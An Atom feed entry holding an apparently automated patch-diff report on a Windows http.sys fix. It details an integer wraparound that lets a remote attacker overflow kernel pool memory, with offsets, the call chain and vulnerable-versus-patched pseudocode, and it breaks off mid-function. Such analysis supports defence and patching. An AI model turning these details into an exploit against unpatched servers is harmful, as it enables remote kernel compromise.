<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>The Drift Corpus: Ring 0</title><link href="https://byteray-ai.github.io/drift-corpus/" rel="alternate"/><link href="https://byteray-ai.github.io/drift-corpus/feeds/all.atom.xml" rel="self"/><id>https://byteray-ai.github.io/drift-corpus/</id><updated>2026-07-03T00:00:00-07:00</updated><subtitle>Diff work corpus browser</subtitle><entry><title>http.sys — Integer overflow in per-request array capacity (CWE-190) causing kernel pool overflow in UlpParseNextRequest fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/http_a10f1434-http-report-20260629-001610.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/http_a10f1434-http-report-20260629-001610.html</id><summary type="html">&lt;p&gt;KB5094127&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;http_unpatched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;http_patched.sys&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.9896&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;3205&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;3199&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched → patched)&lt;/td&gt;
&lt;td&gt;0 / 0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; A tiny but critical patch that introduces a 16-bit overflow check around a per-connection HTTP request tracking array's capacity field, closing a remotely reachable kernel pool overflow in &lt;code&gt;http.sys&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Of the 6 changed functions, only one (&lt;code&gt;UlpParseNextRequest (sub_1c000e4a0)&lt;/code&gt; → &lt;code&gt;UlpParseNextRequest (sub_1c000e550)&lt;/code&gt;) is security-relevant. The rest are the same functions relocated to new addresses (register/offset shifts) or heuristic mispairings, plus harmless configuration plumbing (a new &lt;code&gt;MaxHeadersCount&lt;/code&gt; registry parameter). The actual fix is concentrated in the request-processing loop: the patched build calls the standard safe-integer library routine &lt;code&gt;RtlUShortAdd (sub_1c001c6e4)&lt;/code&gt; to perform &lt;code&gt;capacity + 5&lt;/code&gt; with overflow detection, and this checked path is selected by the KIR feature flag &lt;code&gt;UxKirRefBufferOverflowCheck (data_1c0078d80)&lt;/code&gt;. When that flag is off, the patched build still runs the original unchecked &lt;code&gt;add cx, 5&lt;/code&gt; path, so the fix is a KIR-gated safe path rather than an unconditional replacement.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Critical — Integer Overflow (CWE-190) → Kernel Pool Buffer Overflow (CWE-122)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;UlpParseNextRequest (sub_1c000e4a0)&lt;/code&gt; (unpatched), &lt;code&gt;UlpParseNextRequest (sub_1c000e550)&lt;/code&gt; (patched) — the HTTP request processing main loop.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Root cause:&lt;/strong&gt;
The function maintains, per connection, a dynamic array of HTTP request/range objects. The array tracks three small fields on the connection object:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;+0x630&lt;/code&gt; — &lt;code&gt;WORD&lt;/code&gt; capacity&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x632&lt;/code&gt; — &lt;code&gt;WORD&lt;/code&gt; count&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+0x638&lt;/code&gt; — &lt;code&gt;PVOID&lt;/code&gt; buffer pointer (into &lt;code&gt;NonPagedPoolNx&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Whenever &lt;code&gt;count &amp;gt;= capacity&lt;/code&gt;, the code grows the array: it allocates a fresh pool buffer of size &lt;code&gt;(capacity * 8) + 0x28&lt;/code&gt;, copies the old entries, frees the old buffer, and then writes the new capacity with a &lt;strong&gt;16-bit addition of 5&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x630&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// 16-bit add, no overflow check&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;capacity&lt;/code&gt; is a &lt;code&gt;WORD&lt;/code&gt;. Once it reaches &lt;code&gt;0xFFFB..0xFFFF&lt;/code&gt;, adding 5 wraps to &lt;code&gt;0x0000..0x0004&lt;/code&gt;. On the &lt;strong&gt;next&lt;/strong&gt; growth event, the allocation size is computed from that tiny wrapped capacity (e.g. &lt;code&gt;1*8 + 0x28 = 0x30&lt;/code&gt; bytes), but the &lt;em&gt;count&lt;/em&gt; keeps climbing from its previous value (~&lt;code&gt;0xFFFC&lt;/code&gt;+). The very next entry write&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; rcx = count (large), rax = tiny buffer&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;then walks 8-byte pointers far past the end of the new pool allocation — a large, attacker-driven, kernel pool overflow.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why exploitable:&lt;/strong&gt; The index (&lt;code&gt;count&lt;/code&gt;) and stride (8 bytes) are completely controlled by the attacker, who can pace the growth of the array simply by sending more HTTP requests/ranges on a long-lived connection. The buffer lives in &lt;code&gt;NonPagedPoolNx&lt;/code&gt;, where adjacent allocations frequently contain other connection objects, headers, or pool metadata.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What the patch does:&lt;/strong&gt; The patched loop calls the standard RTL safe-add library routine &lt;code&gt;RtlUShortAdd (sub_1c001c6e4)&lt;/code&gt;, which performs &lt;code&gt;capacity + 5&lt;/code&gt; in 32-bit arithmetic, compares the truncated 16-bit result back against the input, and detects the wrap with &lt;code&gt;cmp ax, cx; jb&lt;/code&gt;. On wrap it clamps to &lt;code&gt;0xFFFF&lt;/code&gt; and returns &lt;code&gt;STATUS_INTEGER_OVERFLOW (0xC0000095)&lt;/code&gt;; the caller bails on a negative status, so an overflowed capacity never reaches &lt;code&gt;ExAllocatePoolWithTagPriority&lt;/code&gt;. This checked path is selected at run time by the KIR feature flag &lt;code&gt;UxKirRefBufferOverflowCheck (data_1c0078d80)&lt;/code&gt; (set from a WIL feature-staging query). When the flag is disabled, the patched build falls back to the original unchecked &lt;code&gt;add cx, 5&lt;/code&gt; path (0x1c000ea02), which is byte-for-byte the vulnerable code. The unpatched build has only that unchecked path and no call to &lt;code&gt;RtlUShortAdd&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-reachable entry point:&lt;/strong&gt; Any HTTP listener that goes through &lt;code&gt;http.sys&lt;/code&gt; (IIS, HTTP API v2, WinRM, Print Spooler's HTTP API, etc.).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call chain:&lt;/strong&gt;
1. Remote client opens a TCP connection to a target HTTP endpoint.
2. &lt;code&gt;TDI/WSK&lt;/code&gt; receive hands the bytes to &lt;code&gt;http.sys&lt;/code&gt;.
3. &lt;code&gt;http.sys&lt;/code&gt; IRP dispatch routes the request into the request-processing main loop.
4. Callers &lt;code&gt;UlpAuthenticateRequestCompletion (sub_1c01176a0)&lt;/code&gt; → &lt;code&gt;UlResumeParsing (sub_1c000a940)&lt;/code&gt; → &lt;code&gt;UlpHandleRequest (sub_1c000e1a0)&lt;/code&gt; → &lt;code&gt;UlBeginOpaqueMode (sub_1c002dc84)&lt;/code&gt; → &lt;strong&gt;&lt;code&gt;UlpParseNextRequest (sub_1c000e4a0)&lt;/code&gt;&lt;/strong&gt; (vulnerable loop).
5. Inside the loop, &lt;code&gt;ExAllocatePoolWithTagPriority&lt;/code&gt; is called with the undersized wrapped capacity.
6. The next entry write at &lt;code&gt;mov qword [rax+rcx*8], rsi&lt;/code&gt; (0x1c000e8d7) corrupts adjacent &lt;code&gt;NonPagedPoolNx&lt;/code&gt; memory.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED: UlpParseNextRequest (sub_1c000e4a0) ===========================================&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;process_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x632&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x630&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;new_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// uses CURRENT capacity&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTagPriority&lt;/span&gt;&lt;span class="p"&gt;(...,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ExFreePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// *** BUG: 16-bit add with NO overflow check ***&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x630&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// wraps past 0xFFFF!&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// index by the *monotonically increasing* count&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="c1"&gt;// OOB WRITE if capacity wrapped&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x632&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED: UlpParseNextRequest (sub_1c000e550) =============================================&lt;/span&gt;
&lt;span class="c1"&gt;// RtlUShortAdd is a standard RTL safe-integer library routine, not a bespoke http.sys helper.&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;RtlUShortAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;addend&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// sub_1c001c6e4&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;addend&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// 32-bit add&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;sum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cur&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;// cmp ax,cx ; jb&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                    &lt;/span&gt;&lt;span class="c1"&gt;// clamp&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INTEGER_OVERFLOW&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// 0xC0000095&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_SUCCESS&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;process_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;request_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x632&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x630&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

